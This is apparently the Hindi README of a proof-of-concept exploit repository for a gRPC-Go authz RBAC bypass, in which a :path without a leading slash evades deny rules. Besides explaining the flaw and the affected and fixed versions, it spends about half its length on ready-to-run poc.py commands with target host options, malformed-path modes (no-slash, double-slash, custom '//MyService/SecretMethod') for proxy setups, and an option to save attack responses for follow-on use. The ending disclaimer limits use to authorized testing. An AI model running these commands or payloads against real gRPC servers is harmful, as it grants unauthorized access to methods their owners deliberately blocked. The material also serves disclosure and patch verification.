
gRPC-Go RBAC प्राधिकरण नीति बाईपास `:path` स्लैश की कमी के कारण (Auth Bypass)
gRPC-Go RBAC प्राधिकरण नीति बायपास : :path में स्लैश की कमी (Auth Bypass)
google.golang.org/grpc में authz पैकेज, :path स्यूडो-हेडर के विरुद्ध मिलान किए गए deny और allow नियमों का उपयोग करके SDK-स्तरीय RBAC प्राधिकरण लागू करता है।
HTTP/2 सर्वर ट्रांसपोर्ट क्लाइंट से :path का कच्चा मान संग्रहीत करता है, बिना यह सत्यापित किए कि यह / से शुरू होता है। रूटिंग लेयर (handleStream) डिस्पैच से पहले पथ को सामान्य कर देता है, लेकिन RBAC इंजन grpc.Method(ctx) के माध्यम से संदर्भ से प्री-नॉर्मलाइज़ेशन मान पढ़ता है।
Deny नियम /Service/Method (अग्रणी स्लैश के साथ) के रूप में लिखे जाते हैं। :path = "Service/Method" (स्लैश के बिना) भेजने से deny नियम पहले वर्ण की तुलना पर चूक जाता है। डिफ़ॉल्ट allow सक्रिय हो जाता है, और सुरक्षित विधि निष्पादित होती है।
कोई भी gRPC सर्वर जो deny नियमों के साथ authz.NewStatic() या authz.NewFileWatcher() का उपयोग करता है, असुरक्षित है। इसका शोषण करने के लिए एक कच्चा HTTP/2 क्लाइंट (Python h2, curl --http2, या कोई भी कस्टम फ्रेम राइटर) पर्याप्त है -- कोई क्रेडेंशियल नहीं, कोई पिछली स्थिति नहीं।
grpc-go v1.71.0 के विरुद्ध लाइव सत्यापन में, जब अग्रणी स्लैश छोड़ा गया तो deny-सूचीबद्ध AdminMethod पर gRPC स्थिति 0 (OK) लौटी, जबकि विहित स्लैश के साथ समान कॉल ने स्थिति 7 (PermissionDenied) लौटाई।
प्रभावित: google.golang.org/grpc < v1.79.3. v1.79.3 में ठीक किया गया (PR #8981)।
# Install the Python HTTP/2 dependency:
pip install h2
# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--service MyService --method SecretMethod
# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash
# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--path-mode double-slash --service MyService --method SecretMethod
# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
--attack-path '//MyService/SecretMethod'
# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt
--host HTTP/2 :authority होस्ट को नियंत्रित करता है जब तक --authority सेट न हो। --connect-host TCP गंतव्य को नियंत्रित करता है। यह वर्चुअल-होस्ट या रिवर्स-प्रॉक्सी सेटअप के लिए उपयोगी है जहाँ पहुँच योग्य IP रूटेड बैकएंड प्राधिकरण से भिन्न होता है।
विहित grpc-go समस्या --path-mode no-slash है। double-slash और custom उन वातावरणों के लिए सामान्य सहायक हैं जहाँ एक प्रॉक्सी असुरक्षित बैकएंड को एक अलग विकृत पथ आकार अग्रेषित करता है।
h2 (pip install h2)authz पैकेज का उपयोग करने वाला gRPC-Go सर्वर| फ़ाइल | विवरण |
|---|---|
poc.py | Python PoC -- बायपास साबित करने के लिए 3 कच्चे HTTP/2 कॉल (बेसलाइन/अटैक/कंट्रोल) भेजता है |
README.md | भेद्यता विवरण, उपयोग उदाहरण और संदर्भ |
LICENSE | GPLv3 लाइसेंस |
यह प्रोजेक्ट GNU GPLv3 के तहत जारी किया गया है।
यह रक्षात्मक सुरक्षा अनुसंधान, शिक्षा और अधिकृत परीक्षण के लिए प्रदान किया गया है। मालिक से स्पष्ट अनुमति के बिना इस कोड का उपयोग सिस्टम या सेवाओं के विरुद्ध न करें।
अनधिकृत उपयोग लागू कानून का उल्लंघन कर सकता है। लेखक तृतीय-पक्ष सिस्टम का परीक्षण करने की अनुमति नहीं देते हैं और दुरुपयोग के लिए उत्तरदायी नहीं हैं।
वारंटी और देयता शर्तों के लिए LICENSE फ़ाइल देखें।